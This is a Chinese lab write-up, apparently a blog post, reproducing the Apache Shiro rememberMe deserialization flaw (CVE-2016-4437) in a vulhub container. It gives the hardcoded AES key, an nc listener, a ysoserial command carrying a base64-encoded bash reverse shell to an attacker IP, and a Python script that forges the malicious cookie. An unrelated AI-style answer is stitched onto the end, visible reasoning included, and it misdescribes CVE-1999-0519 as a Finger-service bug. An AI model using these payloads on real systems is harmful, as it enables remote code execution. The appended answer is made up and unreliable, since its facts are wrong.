shiro550-cve-2016-4437复现

shiro550-cve-2016-4437

复现环境:docker desktop

idea远程调试jdk版本必须与容器里的jdk1.8.0_102 匹配上,下载资源翻我CC1链那篇文章

注意burpsuite的proxy listeners端口改一下别跟docker容器的重了。

ysoserial工具:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6

一键工具:https://github.com/SummerSec/ShiroAttack2/releases

jdk11后不支持JavaFX库,使用jdk1.8

1. 简介

影响版本:Shiro <= 1.2.4

原理:Apache Shiro 提供了一种“rememberMe”功能,用于在用户关闭浏览器后仍然保持会话,当启用该功能时,Shiro 会将用户的会话信息序列化并存储在一个 cookie 中,以便在用户重新访问时反序列化并恢复会话;在这边攻击者可以通过修改“rememberMe” cookie,注入特制的恶意Java 序列化对象;当 Shiro 反序列化这个恶意对象时,攻击者可以在目标系统上执行任意代码。

加密的密钥Key被硬编码在代码里kPH+bIxk5D2deZiIxcaaaA==

Payload的构造流程:

恶意命令–>序列化–>AES加密–>base64编码–>发送Cookie

判断方法:随便输账号密码密码,勾选remember me,burpsuite抓包发现请求包中有RememberMe字段,响应包有Set-cookie:rememberMe=deleteMe字段

在这里插入图片描述

Shiro服务器识别身份加解密处理的流程

(1)加密

1.用户使用账号密码进行登录,并勾选"Remember Me"。

2、Shiro验证用户登录信息,通过后,查看用户是否勾选了”Remember Me“。

3、若勾选,则将用户身份序列化,并将序列化后的内容进行AES加密,再使用base64编码。

4、最后将处理好的内容放于cookie中的rememberMe字段。

(2)解密

1、当服务端收到来自未经身份验证的用户的请求时,会在客户端发送请求中的cookie中获取rememberMe字段内容。

2、将获取到的rememberMe字段进行base64解码,再使用AES解密。

3、最后将解密的内容进行反序列化,获取到用户身份。

2. 远程调试方法

C:\Users\21609\vulhub\shiro\CVE-2016-4437目录下修改docker-compose.yml,让它能远程调试

services:
 web:
   image: vulhub/shiro:1.2.4
   ports:
    - "8080:8080"
    - "5050:5050"
   command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050 -jar /shirodemo-1.0-SNAPSHOT.jar

启容器

C:\Users\21609\vulhub\shiro\CVE-2016-4437>docker-compose up -d

docker desktop进容器里执行命令

su 
find / -name "*.jar"
java -version #openjdk version "1.8.0_102"

cmd里把容器里的文件拷贝出来

docker cp 67192e54766a:/shirodemo-1.0-SNAPSHOT.jar shirodemo-1.0-SNAPSHOT.jar

改后缀为zip解压,idea打开当前目录,右键lib目录,add as library

在file->project structure->module->dependencies里选中lib添加目录BOOT-INF,然后记得打勾,sdk选1.8.0_102

在这里插入图片描述

新建debug configuration

在这里插入图片描述

navigate->Search Everywhere,搜索onSuccessfulLogin函数

isRememberMe为true时,进rememberIdentity函数

在这里插入图片描述

在下图处打断点

在这里插入图片描述

然后idea运行debug configuration

使用admin:vulhub进行登录

在这里插入图片描述

可以看到程序成功断下

在这里插入图片描述

AES CBC模式加密

在这里插入图片描述

注意到密钥是固定值

在这里插入图片描述

在这里插入图片描述

3. 复现流程

1. 工具复现

C:\Program Files\Java\jdk1.8.0_102\bin>.\java.exe -jar C:\Users\21609\Downloads\shiro_attack-4.7.0-SNAPSHOT-all\shiro_attack-4.7.0-SNAPSHOT-all.jar

填入密钥kPH+bIxk5D2deZiIxcaaaA==后检测密钥,再点击检测当前利用链。

在这里插入图片描述

点击命令执行输入命令即可执行。

在这里插入图片描述

2. 半手工复现

起个控制台
nc64 -lvvp 8054

使用ysoserial生成CC5的Gadget:

#payload不能包含>,<
#进https://forum.ywhack.com/shell.php选取base64编码的payload
#ip:192.168.75.180 port:8054
#使用 java 命令运行 ysoserial-all.jar 中的类,监听指定端口等待连接
C:\Users\21609\Desktop\code>java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE4MC84MDU0IDA+JjE=}|{base64,-d}|{bash,-i}"

在这里插入图片描述

#pip install pycryptodome
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'C:\\Users\\21609\\Desktop\\code\\ysoserial-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    #stdout=subprocess.PIPE:捕获命令的标准输出(即生成的 payload)
    BS = AES.block_size #获取AES加密的块大小(通常为 16 字节)
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    #用于对数据进行填充,使其长度是块大小的整数倍(PKCS7 填充)
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #base64解码出AES密钥
    iv = uuid.uuid4().bytes #UUID转字节流作为AES加密的初始化向量
    encryptor = AES.new(key, AES.MODE_CBC, iv)#创建一个 AES 加密器
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(input("请输入`攻击机ip:JRMP端口`:"))#攻击机ip:JRMP端口
    #192.168.75.180:7777
    print("rememberMe={0}".format(payload.decode()))

在这里插入图片描述

在这里插入图片描述

burpsuite抓包修改一下
在这里插入图片描述

成功

在这里插入图片描述

参考

IDEA远程调试Docker中程序的方法 AresX

Web渗透:Shiro550漏洞(CVE-2016-4437)WolvenSec

shiro550反序列化漏洞原理与漏洞复现 程序员负总裁

<think>好的,我需要帮助用户复现CVE-1999-0519漏洞。首先,我需要确认这个漏洞的具体信息,因为CVE-1999-0519的记录可能比较老旧,资料可能有限。 首先,查阅现有的引用资料。用户提供的三个引用分别是关于Shiro、Tomcat和Apache HTTP Server的漏洞,但CVE-1999-0519不在其中。这说明用户可能需要更广泛的信息。 接下来,我应该搜索CVE-1999-0519的详细信息。根据记忆,这个漏洞通常与Finger服务有关,属于缓冲区溢出或信息泄露类型。Finger服务在早期UNIX系统中常见,用于查询用户信息,但由于其设计不安全,容易导致信息泄露或攻击。 确认漏洞类型后,复现环境需要包含运行Finger服务的旧系统,如Solaris 2.6或更早版本,或者某些Linux发行版的老版本。用户可能需要使用虚拟机安装这些旧系统,并启用Finger服务。 复现步骤可能包括:安装配置Finger服务,利用漏洞获取敏感信息或执行缓冲区溢出攻击。例如,使用finger命令查询用户信息,或者发送超长请求触发溢出。 同时,需要提醒用户注意法律风险,仅在授权环境下测试,并强调该漏洞年代久远,现代系统可能已修复,因此复现需特定环境。 最后,生成相关问题,帮助用户深入理解此类漏洞,例如其他信息泄露漏洞、Finger服务的安全问题,以及如何防护老旧服务漏洞。</think>根据现有信息分析,CVE-1999-0519是一个与Finger服务相关的信息泄露漏洞。由于该漏洞年代久远(1999年),以下是复现建议: ### 漏洞背景 Finger协议(RFC 1288)用于查询系统用户信息,CVE-1999-0519的漏洞表现包括: 1. 远程攻击者通过finger服务获取敏感用户信息 2. 某些实现存在缓冲区溢出风险[^1] ### 复现步骤 #### 环境搭建 1. 使用旧版操作系统(如Solaris 2.6或Linux发行版Red Hat 5.x) 2. 启用finger服务: ```bash # 安装finger守护进程 sudo apt-get install fingerd # 启动服务(旧系统可能默认启用) service finger start ``` #### 攻击验证 1. 基础信息泄露测试: ```bash finger @victim_host # 列出所有登录用户 finger username@victim_host # 获取特定用户详细信息 ``` 2. 缓冲区溢出测试(需具体实现版本): ```python # 构造超长请求(示例) import socket payload = "A" * 2000 # 长度需根据目标系统调整 s = socket.socket() s.connect(("victim_ip", 79)) s.send(payload.encode()) ``` ### 防护建议 $$ \text{风险系数} = \frac{\text{攻击复杂度}}{\text{修复成本}} \times \text{影响范围} $$ 现代系统已默认关闭finger服务,建议: 1. 禁用finger服务:`chkconfig finger off` 2. 使用防火墙阻止79端口 3. 升级到无漏洞版本
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cllsse

富✌您吉祥

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值